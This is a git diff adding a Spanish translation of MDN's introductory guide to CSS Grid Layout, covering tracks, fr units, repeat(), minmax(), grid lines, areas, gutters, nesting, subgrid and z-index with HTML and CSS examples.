+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid Layout and Progressive Enhancement</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout">Realizing common layouts using grids</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Properties</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/grid">grid</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-area">grid-area</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-columns">grid-auto-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-flow">grid-auto-flow</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-rows">grid-auto-rows</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column">grid-column</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-end">grid-column-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-gap">grid-column-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-start">grid-column-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-gap">grid-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row">grid-row</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-end">grid-row-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-gap">grid-row-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-start">grid-row-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template">grid-template</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-areas">grid-template-areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-columns">grid-template-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-rows">grid-template-rows</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Glossary</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Glossary/Grid">Grid</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_lines">Grid lines</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_tracks">Grid tracks</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_cell">Grid cell</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_areas">Grid areas</a></li>
+   <li><a href="/en-US/docs/Glossary/Gutters">Gutters</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_Axis">Grid Axis</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_rows">Grid row</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_column">Grid column</a></li>
+  </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/es/web/css/css_grid_layout/conceptos_básicos_del_posicionamiento_con_rejillas/index.html b/files/es/web/css/css_grid_layout/conceptos_básicos_del_posicionamiento_con_rejillas/index.html
new file mode 100644
index 0000000000..afb49e2a92
--- /dev/null
+++ b/files/es/web/css/css_grid_layout/conceptos_básicos_del_posicionamiento_con_rejillas/index.html
@@ -0,0 +1,722 @@
+---
+title: Basic concepts of grid layout
+slug: Web/CSS/CSS_Grid_Layout/Conceptos_Básicos_del_Posicionamiento_con_Rejillas
+tags:
+  - CSS
+  - Guía
+  - Posicionamiento
+  - Rejillas CSS
+translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout
+---
+<p><a href="/es/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a> presenta un sistema de cuadrícula bidimensional para CSS. Las cuadrículas se pueden utilizar para posicionar áreas principales de la página o pequeños elementos de la interfaz de usuario. Este artículo lo introduce a Grid Layout de CSS y la nueva terminología que forma parte de la especificación CSS Grid Layout Nivel 1. Las características mostradas en este resumen se explicarán con mayor detalle en el resto de esta guía.</p>
+
+<h2 id="¿Qué_es_una_cuadrículagrid">¿Qué es una cuadrícula(grid)?</h2>
+
+<p>Una cuadrícula es un conjunto de líneas horizontales y verticales que se intersectan - un grupo define columnas y el otro filas. Los elementos se pueden colocar en la cuadrícula respetando estas columnas y filas. El diseño de cuadrícula CSS tiene las siguientes características:</p>
+
+<h3 id="Tamaños_fijos_y_flexibles">Tamaños fijos y flexibles</h3>
+
+<p>Usted puede crear una cuadrícula con tamaños fijos, utilizando píxeles, por ejemplo. También se puede crear una cuadrícula utilizando tamaños flexibles con porcentajes o con la nueva unidad de medida <code>fr</code> (fracción), diseñada para este propósito.</p>
+
+<h3 id="Posicionamiento_de_elementos">Posicionamiento de elementos</h3>
+
+<p>Puede colocar elementos en una ubicación precisa en la cuadrícula utilizando números de línea, nombres o seleccionando un área de la cuadrícula. Grid también contiene un algoritmo para controlar la ubicación de elementos que no tienen una posición explícita en la cuadrícula.</p>
+
+<h3 id="Creación_de_líneas_adicionales_para_alojar_contenido">Creación de líneas adicionales para alojar contenido</h3>
+
+<p>Usted puede definir una cuadrícula explícita con grid layout. La especificación  Grid Layout  es lo suficientemente flexible como para permitir agregar filas y columnas adicionales cuando sea necesario. Características como la adición de "tantas columnas como caben en un contenedor" también fueron incuidas.</p>
+
+<h3 id="Control_de_alineación">Control de alineación</h3>
+
+<p>Grid contiene características de alineación para poder controlar la forma cómo se alinean los elementos una vez colocados en un área de cuadrícula y cómo está alineada toda la cuadrícula.</p>
+
+<h3 id="Control_de_contenido_superpuesto">Control de contenido superpuesto</h3>
+
+<p>Se puede colocar más de un elemento en una celda de la cuadrícula o área, las cuales pueden solaparse o superponerse total o parcialmente entre sí. Esta estratificación puede ser controlada con la propiedad {{cssxref("z-index")}}.</p>
+
+<p>Grid es una poderosa especificación que, cuando se combina con otras partes de CSS como <a href="/es/docs/Web/CSS/CSS_Flexible_Box_Layout">flexbox</a>, puede ayudarle a crear diseños que antes eran imposibles de construir en CSS. Todo comienza creando una cuadrícula en su <strong>contenedor de cuadrícula</strong>.</p>
+
+<h2 id="El_contenedor_de_Grid_2">El contenedor de Grid</h2>
+
+<p>Creamos un <em>contenedor de cuadrícula</em> al declarar <code>display: grid</code> o <code>display: inline-grid</code> en un elemento. Tan pronto como hagamos esto todos los <em>hijos directos</em> de ese elemento se convertirán en <em>elementos de la cuadrícula.</em></p>
+
+<p>En este ejemplo, se tiene un contenedor div con una clase wrapper y dentro hay cinco elementos hijos.</p>
+
+<div id="El_contenedor_de_Grid">
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+   &lt;div&gt;One&lt;/div&gt;
+   &lt;div&gt;Two&lt;/div&gt;
+   &lt;div&gt;Three&lt;/div&gt;
+   &lt;div&gt;Four&lt;/div&gt;
+   &lt;div&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>Hago de <code>.wrapper</code> un contenedor de cuadrícula.</p>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('El_contenedor_de_Grid', '200', '330') }}</p>
+</div>
+
+<p>Todos los descendientes directos son ahora elementos de la cuadrícula. En un navegador web, usted no verá ninguna diferencia en cómo son mostrados estos elementos antes de convertirlos en una cuadrícula ya que grid ha creado una cuadrícula de una sola columna para los elementos. En este punto usted puede encontrar útil trabajar en Firefox Developer Edition, el cual  tiene disponible el <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">Grid Inspector</a> (Inspector de cuádricula) como parte de las Herramientas de Desarrollador. Si ve este ejemplo en Firefox e inspecciona la cuadrícula, verá un icono pequeño junto al valor <code>grid</code>. Haga clic sobre este y la cuadrícula de este elemento se superpondrá en la ventana del navegador.</p>
+
+<p><img alt="Using the Grid Highlighter in DevTools to view a grid" src="https://mdn.mozillademos.org/files/14631/1-grid-inspector.png" style="height: 753px; width: 900px;"></p>
+
+<p>Mientras usted aprende y luego trabaja con CSS Grid Layout esta herramienta le dará una mejor idea de lo que está sucediendo con sus cuadrículas visualmente.</p>
+
+<p>Si queremos empezar a hacer esto más parecido a una cuadrícula necesitamos agregar columnas.</p>
+
+<h2 id="Vias_filas_y_columnas_del_Grid">Vias, filas y columnas del Grid</h2>
+
+<p>Definimos filas y columnas en nuestra cuadrícula con las propiedades {{cssxref("grid-template-columns")}} y {{cssxref("grid-template-rows")}}. Éstas definen las vías de la cuadrícula. Una vía de cuadrícula es el área entre las dos líneas -horizontales o verticales- dentro de la cuadrícula. En la imagen inferior se puede ver una vía resaltada -  esta es la vía de la primera fila en nuestra cuadrícula.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14637/1_Grid_Track.png" style="height: 261px; width: 392px;"></p>
+
+<p>Puedo modificar nuestro ejemplo anterior al agregar la propiedad <code>grid-template-columns</code>, para así definir el tamaño (ancho) de las vías de cada columna.</p>
+
+<p>Ahora he creado una cuadrícula con tres vías por columna de 200 píxeles. Los elementos hijo se posicionarán en esta cuadrícula uno en cada una de las celdas de la cuadrícula.</p>
+
+<div id="grid_first">
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div&gt;One&lt;/div&gt;
+  &lt;div&gt;Two&lt;/div&gt;
+  &lt;div&gt;Three&lt;/div&gt;
+  &lt;div&gt;Four&lt;/div&gt;
+  &lt;div&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: 200px 200px 200px;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('grid_first', '610', '140') }}</p>
+</div>
+
+<h3 id="La_Unidad_fr_2">La Unidad fr</h3>
+
+<p>Las vías se pueden definir usando cualquier unidad de medida. Grid también introduce una unidad de longitud adicional para ayudarnos a crear vías de cuadrícula flexibles. La nueva unidad fr representa una fracción del espacio disponible en el contenedor de la cuadrícula. La siguiente definición de cuadrícula crearía tres vias con el mismo ancho, que se expanden y se encogen de acuerdo el espacio disponible.</p>
+
+<div id="La_Unidad_fr">
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div&gt;One&lt;/div&gt;
+  &lt;div&gt;Two&lt;/div&gt;
+  &lt;div&gt;Three&lt;/div&gt;
+  &lt;div&gt;Four&lt;/div&gt;
+  &lt;div&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: 1fr 1fr 1fr;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('La_Unidad_fr', '220', '140') }}</p>
+</div>
+
+<p>En el próximo ejemplo creamos una definición con una vía de <code>2fr</code> y luego dos vías de <code>1fr</code>. El espacio disponible se divide en cuatro. Dos partes corresponden a la primera vía  y una parte a cada una de las dos vias restantes.</p>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: 2fr 1fr 1fr;
+}
+</pre>
+
+<p>En este ejemplo final mezclamos las vías de tamaño absoluto con unidades de fracción(fr). La primera vía tiene 500 píxeles, por lo que este ancho fijo se sustrae del espacio disponible.El espacio restante se divide en tres y se asigna en proporción a las dos vías flexibles.</p>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: 500px 1fr 2fr;
+}
+</pre>
+
+<h3 id="Listando_vías_con_la_notación_repeat">Listando vías con la notación <code>repeat()</code></h3>
+
+<p>Las cuadrículas grandes con muchas vías o celdas pueden utilizar la notación <code>repeat()</code> con el fin de repetir todas o una sección de la lista de vías. Por ejemplo la definición de cuadrícula:</p>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: 1fr 1fr 1fr;
+}
+</pre>
+
+<p>También puede ser escrita así:</p>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+}
+</pre>
+
+<p>La notación de repetición se puede utilizar para una parte del listado de vías. En este siguiente ejemplo he creado una cuadrícula con una vía inicial de 20 píxeles luego una sección repetitiva de 6 vías de <code>1fr</code> y luego una vía final de 20 píxeles.</p>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: 20px repeat(6, 1fr) 20px;
+}
+</pre>
+
+<p>La notación de repetición toma una lista de vías específicas, por lo tanto, puede utilizarla para crear un patrón de iteración de vías. En el próximo ejemplo, mi cuadrícula consistirá de 10 vías, una vía <code>1fr</code> seguida por una vía <code>2fr</code>, repetida cinco veces.</p>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(5, 1fr 2fr);
+}
+</pre>
+
+<h3 id="La_cuadrícula_implícita_y_explícita">La cuadrícula implícita y explícita</h3>
+
+<p>Al crear nuestra cuadrícula de ejemplo definimos nuestras vías de columna con la propiedad {{cssxref("grid-template-columns")}}, pero dejamos que grid creara filas  para el contenido según fuera necesario. Estas filas se crean en la cuadrícula implícita. La cuadrícula explícita consiste en las filas y columnas que se definen con las propiedades {{cssxref("grid-template-columns")}} y {{cssxref("grid-template-rows")}}.</p>
+
+<p>Si coloca algo fuera de la cuadrícula ya definida, o si debido a la cantidad de contenido, se necesitarán más vías o celdas, entonces grid crea filas y columnas en la cuadrícula implícita. Estas vías varían su tamaño automáticamente de forma predeterminada, así que ajustarán su tamaño basadas en el contenido dentro de ellas.</p>
+
+<p>También puede definir un tamaño para el conjunto de vías creadas en la cuadrícula implícita con las propiedades {{cssxref("grid-auto-rows")}} y {{cssxref("grid-auto-columns")}}.</p>
+
+<p>En el siguiente ejemplo usamos <code>grid-auto-rows</code> para asegurar que las vías creadas en la cuadrícula implícita tengan 200 píxeles de alto.</p>
+
+<div class="brush: html" id="rejilla_implícita_y_explícita">&lt;div class="wrapper"&gt; &lt;div&gt;One&lt;/div&gt; &lt;div&gt;Two&lt;/div&gt; &lt;div&gt;Three&lt;/div&gt; &lt;div&gt;Four&lt;/div&gt; &lt;div&gt;Five&lt;/div&gt; &lt;/div&gt;
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-auto-rows: 200px;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('cuadrícula_implícita_y_explícita', '230', '420') }}</p>
+</div>
+
+<h3 id="Tamaño_de_vía_y_minmax_2">Tamaño de vía y <code>minmax()</code></h3>
+
+<p>Al configurar una cuadrícula explícita o definir el tamaño de las filas o columnas creadas automáticamente, es posible que desee dar a las vías un tamaño mínimo, pero asegurarse que se expandan para adaptarse a cualquier contenido que se pueda agregar. Por ejemplo, tal vez quiera que mis filas nunca se colapsen a menos de 100 píxeles, pero si mi contenido se extiende a 300 píxeles de altura, me gustaría que la fila se expandiera a esa altura.</p>
+
+<p>Grid tiene una solución para esto con la función {{cssxref("minmax", "minmax()")}}. En el siguiente ejemplo estoy usando <code>minmax()</code> en el valor de la propiedad {{cssxref("grid-auto-rows")}}. Las filas creadas automáticamente tendrán como mínimo de 100 píxeles de alto y un máximo de auto. El uso de auto significa que el tamaño mirará el tamaño del contenido y se estirará para dar espacio al elemento más alto en una celda en esta fila.</p>
+
+<div id="Tamaño_de_vía_y_minmax">
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-auto-rows: minmax(100px, auto);
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div&gt;One&lt;/div&gt;
+  &lt;div&gt;Two
+    &lt;p&gt;I have some more content in.&lt;/p&gt;
+    &lt;p&gt;This makes me taller than 100 pixels.&lt;/p&gt;
+  &lt;/div&gt;
+  &lt;div&gt;Three&lt;/div&gt;
+  &lt;div&gt;Four&lt;/div&gt;
+  &lt;div&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('Tamaño_de_vía_y_minmax', '240', '470') }}</p>
+</div>
+
+<h2 id="Líneas_de_la_cuadrículaEdit">Líneas de la cuadrícula<a class="button section-edit only-icon" href="/es/docs/Web/CSS/CSS_Grid_Layout/Conceptos_B%C3%A1sicos_del_Posicionamiento_con_Rejillas$edit#Líneas_de_Rejilla" rel="nofollow, noindex"><span>Edit</span></a></h2>
+
+<p>Debe tenerse en cuenta que cuando definimos una cuadrícula definimos las vías de la cuadrícula, no las líneas. Grid luego nos da las líneas numeradas a utilizar al posicionar elementos. En nuestra cuadrícula de tres columnas y dos filas, tenemos cuatro líneas de columna.</p>
+
+<p><img alt="Diagram showing numbered grid lines." src="https://mdn.mozillademos.org/files/14761/1_diagram_numbered_grid_lines.png" style="height: 456px; width: 764px;"></p>
+
+<p>Las líneas están numeradas según el modo de escritura del documento. En un idioma de izquierda a derecha, la línea 1 está al lado izquierdo de la cuadrícula. En un idioma de derecha a izquierda, está en el lado derecho de la cuadrícula. Las líneas también se pueden nombrar, ya veremos cómo hacer esto en una guía posterior de esta serie.</p>
+
+<h3 id="Posicionando_elementos_de_acuerdo_a_las_líneas">Posicionando elementos de acuerdo a las líneas</h3>
+
+<p>Estaremos explorando la colocación basada en líneas en detalle en un artículo posterior, el siguiente ejemplo demuestra cómo hacer esto de una manera sencilla. Cuando colocamos un elemento  y tomamos como punto de referencia la línea - en lugar de la vía.</p>
+
+<p>En el siguiente ejemplo, estoy posicionando los dos primeros elementos en la cuadrícula de tres vías de columna,  usando las propiedades {{cssxref("grid-column-start")}}, {{cssxref("grid-column-end")}}, {{cssxref("grid-row-start")}} y {{cssxref("grid-row-end")}}. Trabajando de izquierda a derecha, el primer elemento se coloca partiendo de la línea de la columna 1, y se extiende a la línea de la columna 4, que en nuestro caso es la línea que está mas a la derecha en la cuadrícula. Y comienza en la línea de la fila 1 y termina en la línea de fila la 3, por lo tanto, se extiende sobre dos filas.</p>
+
+<p>El segundo elemento comienza en la línea de columna 1 de la  cuadrícula y se extiende por toda la fila. Este es el valor por defecto, por lo que no necesito especificar la línea final. También se extiende dos vías de fila de la línea de fila 3 a la línea de fila 5. Los otros elementos se colocarán a sí mismos en espacios vacíos en la cuadrícula.</p>
+
+<div id="Líneas_de_Rejilla">
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="box1"&gt;One&lt;/div&gt;
+  &lt;div class="box2"&gt;Two&lt;/div&gt;
+  &lt;div class="box3"&gt;Three&lt;/div&gt;
+  &lt;div class="box4"&gt;Four&lt;/div&gt;
+  &lt;div class="box5"&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-auto-rows: 100px;
+}
+
+.box1 {
+  grid-column-start: 1;
+  grid-column-end: 4;
+  grid-row-start: 1;
+  grid-row-end: 3;
+}
+
+.box2 {
+  grid-column-start: 1;
+  grid-row-start: 3;
+  grid-row-end: 5;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Líneas_de_cuadrícula', '230', '420') }}</p>
+</div>
+
+<p>No olvide que puede utilizar <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">Grid Inspector</a> en las Herramientas de Desarrollador de Firefox para ver cómo se posicionan los elementos en las líneas de la cuadrícula.</p>
+
+<h2 id="Celdas_de_cuadrícula">Celdas de cuadrícula</h2>
+
+<p>Una <em>celda de cuadrícula</em> es la unidad más pequeña en una cuadrícula, conceptualmente es como una celda de tabla. Como vimos en nuestros ejemplos anteriores, una vez que se define una cuadrícula en un padre, los elementos hijo se posicionarán a sí mismos de una vez en cada celda de la cuadrícula definida. En la imagen de abajo he resaltado la primera celda de la cuadrícula.</p>
+
+<p><img alt="The first cell of the grid highlighted" src="https://mdn.mozillademos.org/files/14643/1_Grid_Cell.png" style="height: 233px; width: 350px;"></p>
+
+<h2 id="Áreas_de_cuadrícula">Áreas de cuadrícula</h2>
+
+<p>Los elementos pueden extenderse a través de una o más celdas tanto por fila como por columna, lo que crea un <em>área de cuadrícula</em>. Las áreas de la cuadrícula tienen que ser rectangulares - no es posible crear un área en forma de L, por ejemplo. El área de cuadrícula resaltada abarca dos vías de fila y dos de columna.</p>
+
+<p><img alt="A grid area" src="https://mdn.mozillademos.org/files/14645/1_Grid_Area.png" style="height: 238px; width: 357px;"></p>
+
+<h2 id="Canaletas_2">Canaletas</h2>
+
+<p>Las canaletas o callejones entre las celdas de la cuadrícula se pueden crear usando las propiedades {{cssxref("grid-column-gap")}} y {{cssxref("grid-row-gap")}}, o la propiedad abreviada {{cssxref("grid-gap")}}. En el siguiente ejemplo estoy creando una brecha de 10 píxeles entre columnas y una brecha de 1em entre filas.</p>
+
+<div id="Canaletas">
+<pre class="brush: css">.wrapper {
+   display: grid;
+   grid-template-columns: repeat(3, 1fr);
+   grid-column-gap: 10px;
+   grid-row-gap: 1em;
+}
+</pre>
+
+<div class="note">
+<p><strong>Nota:</strong> Los navegadores más antigüos tienen {{cssxref("column-gap")}}, {{cssxref("row-gap")}} y {{cssxref("gap")}} prefijadas con el prefijo <code>grid-</code> como {{cssxref("grid-column-gap")}}, {{cssxref("grid-row-gap")}} y {{cssxref("grid-gap")}} respectivamente.</p>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div&gt;One&lt;/div&gt;
+  &lt;div&gt;Two&lt;/div&gt;
+  &lt;div&gt;Three&lt;/div&gt;
+  &lt;div&gt;Four&lt;/div&gt;
+  &lt;div&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  grid-column-gap: 10px;
+  grid-row-gap: 1em;
+
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Canaletas') }}</p>
+</div>
+
+<p>Cualquier espacio utilizado por las brechas se tendrá en cuenta antes de que el espacio sea asignado a las vías <code>fr</code> de longitud flexible y las canaletas intervienen con propósitos de dimensionamiento como una vía de cuadrícula regular, sin embargo, no se puede colocar nada en una brecha. En términos de posicionamiento basado en líneas, la brecha actúa como una línea gruesa.</p>
+
+<h2 id="Anidamiento_de_cuadrículas">Anidamiento de cuadrículas</h2>
+
+<p>Un elemento de cuadrícula puede convertirse en un contenedor de cuadrícula. En el ejemplo siguiente tengo la cuadrícula de tres columnas creada anteriormente, con nuestros dos elementos posicionados. En este caso, el primer elemento tiene algunos subelementos. Ya que estos elementos no son descendientes directos de la cuadrícula, no participan en la disposición de la cuadrícula y por lo tanto se muestran en el flujo normal del documento.</p>
+
+<div id="anidamiento">
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+   &lt;div class="box box1"&gt;
+       &lt;div class="nested"&gt;a&lt;/div&gt;
+       &lt;div class="nested"&gt;b&lt;/div&gt;
+        &lt;div class="nested"&gt;c&lt;/div&gt;
+    &lt;/div&gt;
+    &lt;div class="box box2"&gt;Two&lt;/div&gt;
+    &lt;div class="box box3"&gt;Three&lt;/div&gt;
+    &lt;div class="box box4"&gt;Four&lt;/div&gt;
+    &lt;div class="box box5"&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p><img alt="Nested grid in flow" src="https://mdn.mozillademos.org/files/14641/1_Nested_Grids_in_flow.png" style="height: 512px; width: 900px;"></p>
+
+<p>Si establezco <code>box1</code> a <code>display: grid</code> puedo darle una definición de vía y también se convertirá en una cuadrícula, los elementos entonces se posicionan en esta nueva cuadrícula.</p>
+
+<pre class="brush: css">.box1 {
+  grid-column-start: 1;
+  grid-column-end: 4;
+  grid-row-start: 1;
+  grid-row-end: 3;
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+}
+
+.box {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+
+.box1 {
+  grid-column: 1 / 4;
+}
+
+.nested {
+  border: 2px solid #ffec99;
+  border-radius: 5px;
+  background-color: #fff9db;
+  padding: 1em;
+}
+</pre>
+</div>
+</div>
+
+<p>{{ EmbedLiveSample('anidamiento', '600', '340') }}</p>
+
+<p>En este caso, la cuadrícula anidada no tiene ninguna relación con el padre. Como usted puede ver en el ejemplo, no ha heredado la <a class="new" href="/es/docs/Web/CSS/grid-gap" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>grid-gap</code></a> del elemento padre y las líneas de la cuadrícula anidada no se alinean con las líneas de la cuadrícula padre.</p>
+
+<h3 id="Subgrid">Subgrid</h3>
+
+<p>En la especificación de grid de nivel 1 hay una característica llamada <em>subgrid</em> que nos permitiría crear cuadrículas anidadas que usan la definición de la vía de la cuadrícula padre.</p>
+
+<div class="note">
+<p>Las Subgrids aún no están implementadas en ningún navegador y la especificación está sujeta a cambio.</p>
+</div>
+
+<p>En la especificación actual, editaríamos el ejemplo de cuadrícula anidada arriba para usar <code>display: subgrid</code> en lugar de <code>display: grid</code>, y luego eliminar la definición de vía. La cuadrícula anidada utilizará las vías de la cuadrícula principal para posicionar los elementos.</p>
+
+<p>Cabe señalar que la cuadrícula está anidada en ambas dimensiones — filas y columnas. No hay concepto de la cuadrícula implícita trabajando con subgrids. Esto significa que debe asegurarse de que la cuadrícula padre tenga suficientes vías de fila y columna para todos los subelementos.</p>
+
+<pre class="brush: css">.box1 {
+   grid-column-start: 1;
+   grid-column-end: 4;
+   grid-row-start: 1;
+   grid-row-end: 3;
+   display: subgrid;
+}
+</pre>
+
+<h2 id="Estratificando_elementos_con_z-index">Estratificando elementos con <code>z-index</code></h2>
+
+<p>Los elementos de cuadrícula pueden ocupar la misma celda. Si volvemos a nuestro ejemplo con elementos posicionados por número de línea, podemos cambiar esto para hacer que dos elementos se superpongan.</p>
+
+<div id="l_ex">
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="box box1"&gt;One&lt;/div&gt;
+  &lt;div class="box box2"&gt;Two&lt;/div&gt;
+  &lt;div class="box box3"&gt;Three&lt;/div&gt;
+  &lt;div class="box box4"&gt;Four&lt;/div&gt;
+  &lt;div class="box box5"&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-auto-rows: 100px;
+}
+
+.box1 {
+  grid-column-start: 1;
+  grid-column-end: 4;
+  grid-row-start: 1;
+  grid-row-end: 3;
+}
+
+.box2 {
+  grid-column-start: 1;
+  grid-row-start: 2;
+  grid-row-end: 4;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.box {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+</div>
+
+<p>{{ EmbedLiveSample('l_ex', '230', '420') }}</p>
+
+<p>El elemento <code>box2</code> ahora se superpone a <code>box1</code>, se muestra en la parte superior ya que aparece después en el orden de origen.</p>
+
+<h3 id="Controlando_el_orden">Controlando el orden</h3>
+
+<p>Podemos controlar el orden en el que los artículos se apilan utilizando la propiedad z-index - al igual que con los elementos posicionados. Si le damos a <code>box2</code> un <code>z-index</code> más bajo que <code>box1</code>, se mostrará debajo de box1 en la pila.</p>
